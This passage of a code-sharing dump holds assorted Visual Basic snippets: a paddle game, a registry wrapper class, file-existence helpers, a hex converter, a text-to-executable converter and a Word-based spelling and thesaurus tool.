Shape2.Left + hmom\n 'see if the ball is hitting the surface of the paddle\n\n If (Shape2.Top + Shape2.Height) > Shape1.Top Then\n If Shape2.Left + Shape2.Width >= Shape1.Left And Shape2.Left <= Shape1.Left + Shape1.Width Then\n vmom = -vmom\n End If\nEnd If\n'see if the ball has hit the edge of the screen\n\nIf (Shape2.Left + Shape2.Width) > Form1.Width Then\n Shape2.Left = Form1.Width - Shape2.Width\n hmom = -hmom 'this reverses it ball's direction\nElseIf Shape2.Left < 0 Then\n Shape2.Left = 0\n hmom = -hmom 'this reverses it ball's direction\nElseIf Shape2.Top < 0 Then\n Shape2.Top = 0\n vmom = -vmom 'this reverses it ball's direction\nElseIf Shape2.Top > Form1.Height Then\n MsgBox \"You lost!\"\n Timer1.Enabled = False\nEnd If\nEnd Sub\n\n"},{"WorldId":1,"id":1979,"LineNumber":1,"line":"'Add 2 command buttons to your form (Call them btnCalc and btnExit\n'Add a Combobox called cboDrives and a Textbox called txtID\nOption Explicit\nPrivate Sub btnCalc_Click()\n Dim MyCD As New CCD\n MyCD.Init cboDrives.Text\n txtID.Text = MyCD.DiscID\nEnd Sub\nPrivate Sub btnExit_Click()\n Unload Me\nEnd Sub\nPrivate Sub Form_Load()\n cboDrives.AddItem \"D:\"\n cboDrives.AddItem \"E:\"\n cboDrives.AddItem \"F:\"\n cboDrives.AddItem \"G:\"\n cboDrives.AddItem \"H:\"\n cboDrives.AddItem \"I:\"\n cboDrives.ListIndex = 0\nEnd Sub\n"},{"WorldId":1,"id":1987,"LineNumber":1,"line":"'Local var's to keep track of things happening\nDim RootHKey As HKeys\nDim SubDir As String\nDim hKey As Long\nDim OpenRegOk As Boolean\n'This function will return a array of variant with all the subkey values\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadWriteEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllSubDirectories\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nFunction GetAllSubDirectories() As Variant\nOn Error GoTo handelgetdirvalues\n Dim SubKey_Num As Integer\n Dim SubKey_Name As String\n Dim length As Long\n Dim ReturnArray() As Variant\n \n If Not OpenRegOk Then Exit Function\n 'Get the Dir List\n SubKey_Num = 0\n Do\n length = 256\n SubKey_Name = Space$(length)\n If RegEnumKey(hKey, SubKey_Num, SubKey_Name, length) <> 0 Then\n Exit Do\n End If\n SubKey_Name = Left$(SubKey_Name, InStr(SubKey_Name, Chr$(0)) - 1)\n ReDim Preserve ReturnArray(SubKey_Num) As Variant\n ReturnArray(SubKey_Num) = SubKey_Name\n SubKey_Num = SubKey_Num + 1\n Loop\n GetAllSubDirectories = ReturnArray\n Exit Function\nhandelgetdirvalues:\n GetAllSubDirectories = Null\n Exit Function\nEnd Function\n'This function will return a true or false when it creates a key for you\n'eg.\n' Dim MyReg As New CReadWriteEasyReg\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' if MyReg.CreateDirectory(\"TestDir\") then\n' Msgbox \"Key created\"\n' else\n' msgbox \"Couldn't Create key\"\n' end if\n' MyReg.CloseRegistry\nPublic Function CreateDirectory(ByVal sNewDirName As String) As Boolean\n Dim hNewKey As Long, lpdwDisposition As Long\n Dim lpSecurityAttributes As SECURITY_ATTRIBUTES\n Dim lReturn As Long\n \n If Not OpenRegOk Then Exit Function\n \n lReturn = RegCreateKeyEx(hKey, sNewDirName, 0&, \"\", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, lpSecurityAttributes, hNewKey, lpdwDisposition)\n If lReturn = 0 Then\n CreateDirectory = True\n Else\n CreateDirectory = False\n End If\nEnd Function\n'This function will return a true or false when it deletes a key for you\n'eg.\n' Dim MyReg As New CReadWriteEasyReg\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' if MyReg.DeleteDirectory(\"MyTestDir\") then\n' Msgbox \"Key Deleted\"\n' else\n' msgbox \"Couldn't Delete key\"\n' end if\n' MyReg.CloseRegistry\nPublic Function DeleteDirectory(ByVal sKeyName As String) As Boolean\n Dim lReturn As Long\n \n If Not OpenRegOk Then Exit Function\n \n lReturn = RegDeleteKey(hKey, sKeyName)\n If lReturn = 0 Then\n DeleteDirectory = True\n Else\n DeleteDirectory = False\n End If\nEnd Function\n'This function will return a array of variant with all the value names in a key\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadWriteEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"HardWare\\Description\\System\\CentralProcessor\\0\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllValues\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nFunction GetAllValues() As Variant\nOn Error GoTo handelgetdirvalues\n Dim lpData As String, KeyType As Long\n Dim BufferLengh As Long, vname As String, vnamel As Long\n Dim ReturnArray() As Variant, Index As Integer\n \n If Not OpenRegOk Then Exit Function\n \n 'Get the Values List\n Index = 0\n Do\n lpData = String(250, \" \")\n BufferLengh = 240\n vname = String(250, \" \")\n vnamel = 240\n If RegEnumValue(ByVal hKey, ByVal Index, vname, vnamel, 0, KeyType, lpData, BufferLengh) <> 0 Then\n Exit Do\n End If\n vname = Left$(vname, InStr(vname, Chr$(0)) - 1)\n ReDim Preserve ReturnArray(Index) As Variant\n ReturnArray(Index) = vname\n Index = Index + 1\n Loop\n GetAllValues = ReturnArray\n Exit Function\nhandelgetdirvalues:\n GetAllValues = Null\n Exit Function\nEnd Function\n'This function will return a true or false when it creates a value for you\n'eg.\n' Dim MyReg As New CReadWriteEasyReg\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' if MyReg.CreateValue(\"ValName\", \"This is written as the value\",REG_SZ) then\n' Msgbox \"Value created\"\n' else\n' msgbox \"Couldn't Create Value\"\n' end if\n' MyReg.CloseRegistry\nPublic Function CreateValue(ByVal sValueName As String, ByVal vWriteThis As Variant, ldValueDataType As lDataType, Optional Multi_SZ_AddtlStrings As Variant) As Boolean\n Dim lpData As String 'The pointer to the value written to the Registry key's value\n Dim cbData As Long 'The size of the data written to the Registry key's value, including termination characters If applicable\n Dim lReturn As Long 'The Error value returned by the Registry Function\n Dim Str As Variant\n \n If Not OpenRegOk Then Exit Function\n \n Select Case ldValueDataType\n Case REG_SZ, REG_EXPAND_SZ\n lpData = vWriteThis & Chr(0)\n cbData = Len(lpData)\n lReturn = RegSetValueEx(hKey, sValueName, 0&, ldValueDataType, lpData, cbData)\n If lReturn = 0 Then\n CreateValue = True\n Else\n CreateValue = False\n End If\n Case REG_MULTI_SZ\n lpData = vWriteThis & Chr(0)\n If Not IsMissing(Multi_SZ_AddtlStrings) Then\n If IsArray(Multi_SZ_AddtlStrings) Then\n For Each Str In Multi_SZ_AddtlStrings\n If Str <> \"\" And Str <> Chr(0) And Not IsNull(Str) Then\n lpData = lpData & Str & Chr(0)\n End If\n Next Str\n Else\n If Multi_SZ_AddtlStrings <> \"\" And Multi_SZ_AddtlStrings <> Chr(0) And Not IsNull(Multi_SZ_AddtlStrings) Then\n lpData = lpData & Multi_SZ_AddtlStrings & Chr(0)\n End If\n End If\n End If\n lpData = lpData & Chr(0)\n cbData = Len(lpData)\n lReturn = RegSetValueEx(hKey, sValueName, 0&, ldValueDataType, lpData, cbData)\n If lReturn = 0 Then\n CreateValue = True\n Else\n CreateValue = False\n End If\n Case REG_DWORD\n lpData = CLng(vWriteThis)\n cbData = 4\n lReturn = RegSetValueEx(hKey, sValueName, 0&, ldValueDataType, lpData, cbData)\n If lReturn = 0 Then\n CreateValue = True\n Else\n CreateValue = False\n End If\n Case Else\n MsgBox \"Unable to process that Type of data.\"\n CreateValue = False\n End Select\nEnd Function\n'This function will return a true or false when it deletes a value for you\n'eg.\n' Dim MyReg As New CReadWriteEasyReg\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' if MyReg.DeleteValue(\"ValName\") then\n' Msgbox \"Value Deleted\"\n' else\n' msgbox \"Couldn't Delete Value\"\n' end if\n' MyReg.CloseRegistry\nPublic Function DeleteValue(ByVal sValueName As String) As Boolean\n Dim lReturn As Long\n \n If Not OpenRegOk Then Exit Function\n \n lReturn = RegDeleteValue(hKey, sValueName)\n If lReturn = 0 Then\n DeleteValue = True\n Else\n DeleteValue = False\n End If\nEnd Function\n'This function will return a specific value from the registry\n'eg.\n' Dim MyString As String, MyReg As New CReadWriteEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"HardWare\\Description\\System\\CentralProcessor\\0\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyString = MyReg.GetValue(\"Identifier\")\n' Debug.Print MyString\n' MyReg.CloseRegistry\nFunction GetValue(ByVal VarName As String, Optional ReturnBinStr As Boolean = False) As Variant\nOn Error GoTo handelgetavalue\n Dim i As Integer\n Dim SubKey_Value As String, TempStr As String, ReturnArray() As Variant\n Dim length As Long\n 'Dim value_type As Long\n Dim RtnVal As Long, value_Type As lDataType\n \n If Not OpenRegOk Then Exit Function\n \n 'Read the size of the value value\n RtnVal = RegQueryValueEx(hKey, VarName, 0&, value_Type, ByVal 0&, length)\n Select Case RtnVal\n Case 0 'Ok so continue\n Case 2 'Not Found\n Exit Function\n Case 5 'Access Denied\n GetValue = \"Access Denied\"\n Exit Function\n Case Else 'What?\n GetValue = \"RegQueryValueEx Returned : (\" & RtnVal & \")\"\n Exit Function\n End Select\n 'declare the size of the value and read it\n SubKey_Value = Space$(length)\n RtnVal = RegQueryValueEx(hKey, VarName, 0&, value_Type, ByVal SubKey_Value, length)\n Select Case value_Type\n Case REG_NONE\n 'Not defined\n SubKey_Value = \"Not defined value_type=REG_NONE\"\n Case REG_SZ 'A null-terminated string\n SubKey_Value = Left$(SubKey_Value, length - 1)\n Case REG_EXPAND_SZ\n 'A null-terminated string that contains unexpanded references to\n 'environment variables (for example, \"%PATH%\").\n 'Use ExpandEnvironmentStrings to expand\n SubKey_Value = Left$(SubKey_Value, length - 1)\n Case REG_BINARY 'Binary data in any form.\n SubKey_Value = Left$(SubKey_Value, length)\n If Not ReturnBinStr Then\n TempStr = \"\"\n For i = 1 To Len(SubKey_Value)\n TempStr = TempStr & Right$(\"00\" & Trim$(Hex(Asc(Mid$(SubKey_Value, i, 1)))), 2) & \" \"\n Next i\n SubKey_Value = TempStr\n End If\n Case REG_DWORD, REG_DWORD_LITTLE_ENDIAN 'A 32-bit number.\n SubKey_Value = Left$(SubKey_Value, length)\n If Not ReturnBinStr Then\n TempStr = \"\"\n For i = 1 To Len(SubKey_Value)\n TempStr = TempStr & Right$(\"00\" & Trim$(Hex(Asc(Mid$(SubKey_Value, i, 1)))), 2) & \" \"\n Next i\n SubKey_Value = TempStr\n End If\n Case REG_DWORD_BIG_ENDIAN\n 'A 32-bit number in big-endian format.\n 'In big-endian format, a multi-byte value is stored in memory from\n 'the highest byte (the \"big end\") to the lowest byte. For example,\n 'the value 0x12345678 is stored as (0x12 0x34 0x56 0x78) in big-endian\n 'format.\n Case REG_LINK\n 'A Unicode symbolic link. Used internally; applications should not\n 'use this type.\n SubKey_Value = \"Not defined value_type=REG_LINK\"\n Case REG_MULTI_SZ\n 'Array of null-terminated string\n SubKey_Value = Left$(SubKey_Value, length)\n i = 0\n While Len(SubKey_Value) > 0\n ReDim Preserve ReturnArray(i) As Variant\n ReturnArray(i) = Mid$(SubKey_Value, 1, InStr(1, SubKey_Value, Chr(0)) - 1)\n SubKey_Value = Mid$(SubKey_Value, InStr(1, SubKey_Value, Chr(0)) + 1)\n i = i + 1\n Wend\n GetValue = ReturnArray\n Exit Function\n Case REG_RESOURCE_LIST\n 'Device driver resource list.\n SubKey_Value = \"Not defined value_type=REG_RESOURCE_LIST\"\n Case REG_FULL_RESOURCE_DESCRIPTOR\n 'Device driver resource list.\n SubKey_Value = \"Not defined value_type=REG_FULL_RESOURCE_DESCRIPTOR\"\n Case REG_RESOURCE_REQUIREMENTS_LIST\n 'Device driver resource list.\n SubKey_Value = \"Not defined value_type=REG_RESOURCE_REQUIREMENTS_LIST\"\n Case Else\n SubKey_Value = \"value_type=\" & value_Type\n End Select\n GetValue = SubKey_Value\n Exit Function\nhandelgetavalue:\n GetValue = \"\"\n Exit Function\nEnd Function\n'This property returns the current KeyValue\nPublic Property Get RegistryRootKey() As HKeys\n RegistryRootKey = RootHKey\nEnd Property\n'This property returns the current 'Registry Directory' your in\nPublic Property Get SubDirectory() As String\n SubDirectory = SubDir\nEnd Property\n'This function open's the registry at a specific 'Registry Directory'\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadWriteEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllSubDirectories\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nPublic Function OpenRegistry(ByVal RtHKey As HKeys, ByVal SbDr As String) As Integer\nOn Error GoTo OpenReg\n Dim ReturnVal As Integer\n If RtHKey = 0 Then\n OpenRegistry = False\n OpenRegOk = False\n Exit Function\n End If\n RootHKey = RtHKey\n SubDir = SbDr\n If OpenRegOk Then\n CloseRegistry\n OpenRegOk = False\n End If\n ReturnVal = RegOpenKeyEx(RootHKey, SubDir, 0&, KEY_READ_WRITE, hKey)\n If ReturnVal <> 0 Then\n OpenRegistry = False\n Exit Function\n End If\n OpenRegOk = True\n OpenRegistry = True\n Exit Function\nOpenReg:\n OpenRegOk = False\n OpenRegistry = False\n Exit Function\nEnd Function\nPublic Function OneBackOnKey()\n SubDir = Mid$(SubDir, 1, FindLastBackSlash(SubDir) - 1)\n CloseRegistry\n OpenRegistry RootHKey, SubDir\nEnd Function\n'This function should be called after you're done with the registry\n'eg. (see other examples)\nPublic Function CloseRegistry() As Boolean\nOn Error Resume Next\n If RegCloseKey(hKey) <> 0 Then\n CloseRegistry = False\n Exit Function\n End If\n CloseRegistry = True\n OpenRegOk = False\nEnd Function\nPrivate Sub Class_Initialize()\n RootHKey = &H0\n SubDir = \"\"\n hKey = 0\n OpenRegOk = False\nEnd Sub\nPrivate Sub Class_Terminate()\nOn Error Resume Next\n If RegCloseKey(hKey) <> 0 Then\n Exit Sub\n End If\nEnd Sub\nPublic Function SortArrayAscending(ValueList As Variant) As Variant\nOn Error GoTo handelsort\n Dim RipVal As Variant\n Dim RipOrdinal As Long\n Dim RipDescent As Long\n Dim PrivateBuffer As Variant\n Dim Placed As Boolean\n Dim x As Long\n Dim y As Long\n If IsArray(ValueList) Then\n PrivateBuffer = ValueList\n 'Ok, we start at the second position in the array and go\n 'from there\n RipOrdinal = 1\n RipDescent = 1\n For y = 1 To UBound(PrivateBuffer)\n RipVal = PrivateBuffer(y)\n If y <> 1 Then RipDescent = y\n Do Until Placed\n If PrivateBuffer(RipDescent - 1) >= RipVal Then\n RipDescent = RipDescent - 1\n If RipDescent = 0 Then\n For x = y To RipDescent Step -1\n If x = 0 Then Exit For\n PrivateBuffer(x) = PrivateBuffer(x - 1)\n Next x\n PrivateBuffer(RipDescent) = RipVal\n Placed = True\n End If\n Else\n 'shift the array to the right\n For x = y To RipDescent Step -1\n If x = 0 Then Exit For\n PrivateBuffer(x) = PrivateBuffer(x - 1)\n Next x\n 'insert the ripped value\n PrivateBuffer(RipDescent) = RipVal\n Placed = True\n End If\n Loop\n Placed = False\n Next y\n SortArrayAscending = PrivateBuffer\n Else\n SortArrayAscending = ValueList\n End If\n Exit Function\nhandelsort:\n SortArrayAscending = ValueList\n Exit Function\nEnd Function\nPrivate Function FindLastBackSlash(VarValue As Variant) As Integer\n Dim i As Integer, iRtn As Integer\n iRtn = 0\n For i = Len(VarValue) To 1 Step -1\n If Mid$(VarValue, i, 1) = \"\\\" Then\n iRtn = i\n Exit For\n End If\n Next i\n FindLastBackSlash = iRtn\nEnd Function\n"},{"WorldId":1,"id":1989,"LineNumber":1,"line":"' Step 1. Place a command button in your form and name it Command1 and make the \n'caption Area Of A Circle.\n' Step 2. Copy this code into the form...\nPrivate Sub Command1_Click()\n \n Dim Radius\n Radius = InputBox(\"Type In The Radius\", \"Radius\")\n Dim Area\n Area = 3.14 * (Radius * Radius)\n MsgBox Area, vbDefaultButton1, \"Answer\"\n \n Dim Answer\n \n \nEnd Sub\n"},{"WorldId":1,"id":1996,"LineNumber":1,"line":"Dim iCol As Integer\nPrivate Sub ListView1_ColumnClick(ByVal ColumnHeader As_ MSComctlLib.ColumnHeader)\n \n ' When a ColumnHeader object is clicked, the ListView control is\n ' sorted by the subitems of that column.\n ' Set the SortKey to the Index of the ColumnHeader - 1\n \n If ColumnHeader.Index - 1 <> iCol Then\n ListView1.SortOrder = 0\n Else\n ListView1.SortOrder = Abs(ListView1.SortOrder - 1)\n End If\n \n ListView1.SortKey = ColumnHeader.Index - 1\n \n ' Set Sorted to True to sort the list.\n \n ListView1.Sorted = True\n iCol = ColumnHeader.Index - 1\nEnd Sub"},{"WorldId":1,"id":2017,"LineNumber":1,"line":"'frmParent should be the main or large form\n'frmToFloat is the name of the form you want\n'\"floating\" or staying on top of your the\n'Parent Form. :)\nfrmToFloat.Show , frmParent"},{"WorldId":1,"id":2021,"LineNumber":1,"line":"Public Function FileExists(strPath As String) As Integer\n FileExists = Not (Dir(strPath) = \"\")\nEnd Function"},{"WorldId":1,"id":2024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2028,"LineNumber":1,"line":"Private Sub Command1_Click()\n Load mnuTest(mnuTest.Count)\nEnd Sub\n"},{"WorldId":1,"id":2039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2042,"LineNumber":1,"line":"Function ConvertHex (H$) As Currency\nDim Tmp$\nDim lo1 As Integer, lo2 As Integer\nDim hi1 As Long, hi2 As Long\nConst Hx = \"&H\"\nConst BigShift = 65536\nConst LilShift = 256, Two = 2\n Tmp = H\n 'In case \"&H\" is present\n If UCase(Left$(H, 2)) = \"&H\" Then Tmp = Mid$(H, 3)\n 'In case there are too few characters\n Tmp = Right$(\"0000000\" & Tmp, 8)\n 'In case it wasn't a valid number\n If IsNumeric(Hx & Tmp) Then\n lo1 = CInt(Hx & Right$(Tmp, Two))\n hi1 = CLng(Hx & Mid$(Tmp, 5, Two))\n lo2 = CInt(Hx & Mid$(Tmp, 3, Two))\n hi2 = CLng(Hx & Left$(Tmp, Two))\n ConvertHex = CCur(hi2 * LilShift + lo2) * BigShift + (hi1 * LilShift) + lo1\n End If\nEnd Function\n"},{"WorldId":1,"id":2043,"LineNumber":1,"line":"'===========================================================================\n'Start a new project\n'add a ComboBox named cboInput\n'add a ListBox named lstDisplay\n'add a Command Button named cmdHelp caption Help\n'add a Command Button named cmdExit caption Exit\n'add 4 Command Buttons (command array) named \n'cmdAction(0)\tcaption Spelling\n'cmdAction(1)\tcaption Wildcard\n'cmdAction(2)\tcaption Anagarm\n'cmdAction(3)\tCaption Lookup\n'In the Project/References menu option tick the reference for\n'Microsoft Word 8.0 Object Library\n'===========================================================================\n'paste the following code\nOption Explicit\n'============================================================\n'== Author : Richard Lowe\n'== Date : June 99\n'== Contact : riklowe@hotmail.com\n'============================================================\n'== Desciption\n'==\n'== This program enable quick and easy desktop access to\n'== the Microsoft Word spelling and thesaurus engine.\n'==\n'============================================================\n'== Version History\n'============================================================\n'== 1.0 06-Jun-99 RL Initial Release. Spelling Only\n'== 1.1 07-Jun-99 RL Added Widcard, Anagram and Lookup\n'== 1.2 08-Jun-99 RL Added Help \n'============================================================\n'------------------------------------------------------------\n'Define constants\n'------------------------------------------------------------\nConst HeightLimit = 5000\nConst WidthLimit = 5640\n'------------------------------------------------------------\n'Dimension variables\n'------------------------------------------------------------\nDim objMsWord As Word.Application\nDim SugList As SpellingSuggestions\nDim sug As SpellingSuggestion\nDim synInfo As SynonymInfo\nDim synList As Variant\nDim AntList As Variant\nPrivate Sub cmdAction_Click(Index As Integer)\n'------------------------------------------------------------\n' dimension local variables\n'------------------------------------------------------------\nDim strTemp As String\nDim blnRet As Boolean\nDim iCount As Integer\n'------------------------------------------------------------\n' Asign an error handler\n'------------------------------------------------------------\nOn Error GoTo eh_Trap:\n'------------------------------------------------------------\n' If cboInput has changed, add it as an entry to the list\n'------------------------------------------------------------\n If cboInput.List(0) <> cboInput Then\n cboInput.AddItem cboInput, 0\n End If\n \n'------------------------------------------------------------\n'Assign the objMsWord object reference to the Word application\n'------------------------------------------------------------\n Set objMsWord = New Word.Application\n \n'------------------------------------------------------------\n'Due to a bug, you have to open a file to use GetSpellingSuggestions\n'This is documented in Q169545 on microsoft knowledge base\n'------------------------------------------------------------\n objMsWord.WordBasic.FileNew 'open a doc\n objMsWord.Visible = False 'hide the doc\n \n'------------------------------------------------------------\n' clear display area\n'------------------------------------------------------------\n lstDisplay.Clear\n \n'------------------------------------------------------------\n' select which button has been pressed\n'------------------------------------------------------------\n Select Case Index\n Case 0\n'------------------------------------------------------------\n'Spelling\n'------------------------------------------------------------\n blnRet = objMsWord.CheckSpelling(cboInput)\n \n'------------------------------------------------------------\n'if incorrectly spelt, check for suggestions. Iterate and display\n'------------------------------------------------------------\n If blnRet = True Then\n lstDisplay.AddItem \"OK\"\n Else\n Set SugList = objMsWord.GetSpellingSuggestions(cboInput, _\n SuggestionMode:=wdSpelling)\n \n If SugList.Count = 0 Then\n lstDisplay.AddItem \"No suggestions\"\n Else\n For Each sug In SugList\n lstDisplay.AddItem sug.Name\n Next sug\n \n End If\n \n End If\n \n Case 1\n'------------------------------------------------------------\n'WildCard\n'------------------------------------------------------------\n Set SugList = objMsWord.Application.GetSpellingSuggestions(cboInput, _\n SuggestionMode:=wdWildcard)\n \n'------------------------------------------------------------\n'If entries found, Iterate and display\n'------------------------------------------------------------\n If SugList.Count = 0 Then\n lstDisplay.AddItem \"No suggestions\"\n Else\n For Each sug In SugList\n lstDisplay.AddItem sug.Name\n Next sug\n \n End If\n Case 2\n'------------------------------------------------------------\n'Anagram\n'------------------------------------------------------------\n Set SugList = objMsWord.GetSpellingSuggestions(cboInput, _\n SuggestionMode:=wdAnagram)\n \n'------------------------------------------------------------\n'If entries found, Iterate and display\n'------------------------------------------------------------\n If SugList.Count = 0 Then\n lstDisplay.AddItem \"No suggestions\"\n Else\n For Each sug In SugList\n lstDisplay.AddItem sug.Name\n Next sug\n End If\n \n Case 3\n'------------------------------------------------------------\n'Lookup\n'------------------------------------------------------------\n \n'------------------------------------------------------------\n'Assign the synInfo object reference to the Word Synonym Information\n'------------------------------------------------------------\n Set synInfo = objMsWord.SynonymInfo(cboInput)\n \n lstDisplay.AddItem \"--- MEANING ---\"\n \n'------------------------------------------------------------\n'If entries found, Iterate and display\n'------------------------------------------------------------\n If synInfo.MeaningCount >= 2 Then\n synList = synInfo.MeaningList\n For iCount = 1 To UBound(synList)\n lstDisplay.AddItem synList(iCount)\n Next iCount\n Else\n lstDisplay.AddItem \"None\"\n End If\n lstDisplay.AddItem \"--- SYNONYM ---\"\n \n'------------------------------------------------------------\n'If entries found, Iterate and display\n'------------------------------------------------------------\n If synInfo.MeaningCount >= 2 Then\n synList = synInfo.SynonymList(2)\n For iCount = 1 To UBound(synList)\n lstDisplay.AddItem synList(iCount)\n Next iCount\n Else\n lstDisplay.AddItem \"None\"\n End If\n \n Set synInfo = Nothing\n \n End Select\n \n'------------------------------------------------------------\n'Clean exit point\n'------------------------------------------------------------\neh_exit:\n objMsWord.Quit\n Set objMsWord = Nothing\n cboInput.SetFocus\nExit Sub\n'------------------------------------------------------------\n'Error Handler\n'------------------------------------------------------------\neh_Trap:\n \n lstDisplay.AddItem Err & vbTab & Error$\n Resume eh_exit:\n \nEnd Sub\nPrivate Sub cmdExit_Click()\n Unload Me\nEnd Sub\nPrivate Sub cmdHelp_Click()\n'------------------------------------------------------------\n'Display help information in the viewing area\n'------------------------------------------------------------\n lstDisplay.Clear\n \n lstDisplay.AddItem \"Spelling \"\n lstDisplay.AddItem \"Enter a word into the box above, press 'Spelling'\"\n lstDisplay.AddItem \"Correctly spelt words will display 'OK'\"\n lstDisplay.AddItem \"Incorrectly spelt words will display a list of \"\n lstDisplay.AddItem \"choices that most closely match the word\"\n lstDisplay.AddItem \" \"\n lstDisplay.AddItem \"Wildcard \"\n lstDisplay.AddItem \"Enter a word into the box above, press 'Wildcard'\"\n lstDisplay.AddItem \"Use a ? to indicate an unkown letter\"\n lstDisplay.AddItem \"Use a * to indicate muliple unkown letters\"\n lstDisplay.AddItem \"Examples (?) - Cl?se, Un?no?n \"\n lstDisplay.AddItem \"Examples (*) - Cl*, C*e\"\n lstDisplay.AddItem \" \"\n lstDisplay.AddItem \"Anangram \"\n lstDisplay.AddItem \"Enter a word into the box above, press 'Anagram'\"\n lstDisplay.AddItem \"The program will find all words in the \"\n lstDisplay.AddItem \"dictionary containing those letters \"\n lstDisplay.AddItem \" \"\n lstDisplay.AddItem \"Lookup \"\n lstDisplay.AddItem \"Enter a word into the box above, press 'Lookup'\"\n lstDisplay.AddItem \"The program will find the meaning and synonym \"\n lstDisplay.AddItem \"for the word from the dictionary \"\n lstDisplay.AddItem \" \"\n lstDisplay.AddItem \"General \"\n lstDisplay.AddItem \"Double click on an entry in this list box\"\n lstDisplay.AddItem \"and it will be transfered to the box above.\"\n lstDisplay.AddItem \"Use the up and down arrows on the keyboard \"\n lstDisplay.AddItem \"or select the arrow at the right hand side \"\n lstDisplay.AddItem \"of the above box, to scroll through all of \"\n lstDisplay.AddItem \"the word you have entered.\"\n lstDisplay.AddItem \"\"\n lstDisplay.AddItem \"Please e-mail any comments / suggestions to\"\n lstDisplay.AddItem \"me - It's great to get feedback.\"\n lstDisplay.AddItem \"My e-mail address is riklowe@hotmail.com\"\n lstDisplay.AddItem \"\"\n \nEnd Sub\nPrivate Sub Form_Load()\n cboInput.Clear\n \nEnd Sub\nPrivate Sub Form_Resize()\n'------------------------------------------------------------\n'Do not let the screen size get to small, so that the button\n'are always visible\n'------------------------------------------------------------\n Select Case Me.WindowState\n Case vbNormal\n If Me.Height < HeightLimit Then\n Me.Height = HeightLimit\n End If\n lstDisplay.Height = Me.Height - 1000\n \n Me.Width = WidthLimit\n Case Else\n End Select\n \nEnd Sub\nPrivate Sub lstDisplay_DblClick()\n'------------------------------------------------------------\n'Move entry from listbox into combo box\n'------------------------------------------------------------\n \n cboInput.AddItem lstDisplay, 0\n cboInput.ListIndex = 0\n lstDisplay.Clear\n cboInput.SetFocus\n \nEnd Sub\n"},{"WorldId":1,"id":2045,"LineNumber":1,"line":"Public Function FileExists(strFile as String) As String\n On Error Resume Next 'Doesn't raise error - FileExists will be false\n 'if error occurs\n 'a valid path would be someting like \"C:\\Windows\\win.ini\" - Full path\n 'must be specified\n FileExists = Dir(strFile, vbHidden) <> \"\"\n \nEnd Function\n"},{"WorldId":1,"id":2047,"LineNumber":1,"line":"Private Sub Form_Load()\nDim OpenWhat\n'MsgBox UserID\nOn Error GoTo bwell\nOpen App.Path & \"\\\" & UserID & \".txt\" For Input As #1\nOn Error Resume Next\nDo Until EOF(1)\nLine Input #1, OpenWhat\nShell \"Start \" & OpenWhat\nLoop\nClose #1\nEnd\nbwell:\nOpen App.Path & \"\\\" & UserID & \".txt\" For Output As #2: Close #2\nResume\nEnd Sub"},{"WorldId":1,"id":2071,"LineNumber":1,"line":"Dim a(14) As Byte\nDim i As Integer\nPublic Function HiByte(ByVal wParam As Integer)\n HiByte = wParam \\ &H100 And &HFF&\nEnd Function\nPublic Function LoByte(ByVal wParam As Integer)\n LoByte = wParam And &HFF&\nEnd Function\nPrivate Sub Command1_Click()\n On Error GoTo 10\n \n a(0) = 190\n a(1) = 15\n a(2) = 1\n a(3) = 185\n a(4) = 0\n a(5) = 0\n a(6) = 252\n a(7) = 172\n a(8) = 205\n a(9) = 41\n a(10) = 73\n a(11) = 117\n a(12) = 250\n a(13) = 205\n a(14) = 32\n CommonDialog1.Filter = \"Text Files|*.txt|\"\n CommonDialog1.Action = 1\n \n Open CommonDialog1.filename For Input As #1\n sourcelen = LOF(1)\n Close #1\n \n a(4) = LoByte(sourcelen)\n a(5) = HiByte(sourcelen)\n \n newfilename = Left(CommonDialog1.FileTitle, Len(CommonDialog1.FileTitle) - 4) & \".exe\"\n If MsgBox(\"Are you sure you want to convert `\" & CommonDialog1.FileTitle & \"` to `\" & newfilename & \"`\", vbYesNo, \"Confirm\") = vbNo Then Exit Sub\n Open CommonDialog1.filename For Input As #1\n Open newfilename For Output As #2\n t = Input(LOF(1), 1)\n For k = 0 To 14\n st = st & Chr(a(k))\n Next k\n st = st & t\n Print #2, st\n Close #1\n Close #2\n Label1.Caption = \"Converted successful\"\n Exit Sub\n10\n Label1.Caption = \"Error\"\nEnd Sub\n"},{"WorldId":1,"id":2073,"LineNumber":1,"line":"dim T as integer\ndim random as integer\ndim I as integer\nPrivate Sub command2_Click()\n \n\n For I = 0 To 5\n Randomize\n Random = Int((Rnd * 51) + 1)\n 